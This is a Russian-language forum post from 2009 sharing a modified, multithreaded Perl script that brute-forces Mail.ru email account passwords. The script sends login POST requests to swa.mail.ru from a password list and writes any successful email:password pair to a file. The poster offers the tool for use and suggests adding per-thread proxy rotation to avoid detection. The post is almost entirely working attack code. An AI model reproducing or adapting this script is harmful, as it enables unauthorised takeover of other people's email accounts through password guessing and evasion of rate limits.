
16.04.2009, 05:00
|
|
Участник форума
Регистрация: 04.12.2005
Сообщений: 202
С нами:
10754840
Репутация:
99
|
|
Модифицированная версия.
Изменено:
1. Нет ошибки неправильного завершения нити.
2. Вместо процентов теперь плюсики в одну строку. Количество их можно изменить.
Пользуйтесь. Неплохой брут. Как раз узнал про реальное использование нитей в перле.
З.Ы. Форматирование кода ужасное в ачат-редакторе =Q
Есть вариант добавить прокси-поддержку распределенную по нитям. Т.е для каждой нити свой прокси или рандомный по списку, сколько фантазии хватит
Код:
#!/usr/bin/perl -w
use strict;
use IO::Socket;
use threads qw(stringify);
use threads::shared;
use POSIX; ########################################################
my @acc : shared;
my $i : shared;
my $total : shared;
my $k : shared;
$| = 1;
print "
######################################################################
### Sharky Mail.ru brute ###
### Usage mail.pl [email] [passwords.txt] [good.txt] [threads] ###
### edited by gh0stwizard ###
######################################################################
";
########################################################
my $email = shift;
my $pass = shift;
my $good = shift;
my $threads = shift;
my $timeout = '5'; #Таймаут
my $hostname = "swa.mail.ru";
my $port = '80';
my ( $mail, $server ) = split( /@/, $email );
my $nn = "\r\n";
my $maxplus = 62; #Количество выводимых плюсов
########################################################
my ($passw, $percent);
########################################################
print "[+] Loading passwords... \n";
open( ACS, "<$pass" );
@acc = &acc();
my $size = scalar @acc;
print "[+] Loaded $size passwords \n";
print "[+] Start Brute\n\n[";
my (@trl);
&threads();
sub threads {
for ( 0 .. $threads ) {
$trl[$_] = threads->create( {'void' => 1}, \&check, $_ );
$trl[$_]->join();
}
print "\n[*] Bruteforce has been completed.\n";
}
sub check {
while (@acc) {
{ lock(@acc); $passw = shift @acc; }
my $sock = new IO::Socket::INET(
PeerAddr => $hostname,
PeerPort => $port,
PeerProto => 'tcp',
TimeOut => $timeout
);
if ( !$sock ) {
{ lock($i); $i++; }
}
else {
my $data =
"action1=Login&Login=$mail&Domain=$server&Password=$passw";
my $re =
"POST /cgi-bin/auth HTTP/1.0"
. $nn
. "Host: swa.mail.ru"
. $nn
. "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.7.12) Gecko/20050919 Firefox/1.0.7"
. $nn
. "Content-type: application/x-www-form-urlencoded"
. $nn
. "Cache-Control: no-cache"
. $nn
. "Content-length: "
. length($data)
. $nn
. "Connection: Keep-Alive"
. $nn
. $nn;
print $sock $re;
print $sock $data;
sysread( $sock, my $answ, 666 );
close $sock;
if ( $answ =~ /Location/ ) {
{ lock($total); $total++; }
print "]\n[*] $email:$passw - [OK]";
open( FILE, ">>$good" );
print FILE "$email:$passw\n";
close(FILE);
print "\n[*] Bruteforce has been completed.\n";
exit;
}
{ lock($i); $i++; }
}
$percent = sprintf("%.6f", ( $i / $size )) * $maxplus;
my $sh = sprintf("%.6f", (1 / $size)) * $maxplus;
my $zer = sprintf("%.6f", (1 / $size));
if (($percent == $sh) or ($percent == $zer)) {
print "+"; $k++;
}
elsif ( (floor($percent) - 1) == $k ) {
print "+"; $k++;
}
elsif ((floor($percent) -$k) >=2 and ($maxplus>20)) {
my $def = (floor($percent)) - $k;
$k += $def;
print "+"x$def;
}
if ($percent == $maxplus) { print "] 100%\r"; }
}
}
sub acc {
my (@mas);
while (<ACS>) {
push @mas, $_;
}
chomp @mas;
return @mas;
}
#with love by Sharky
Последний раз редактировалось ghostwizard; 16.04.2009 в 05:03..
|
|
|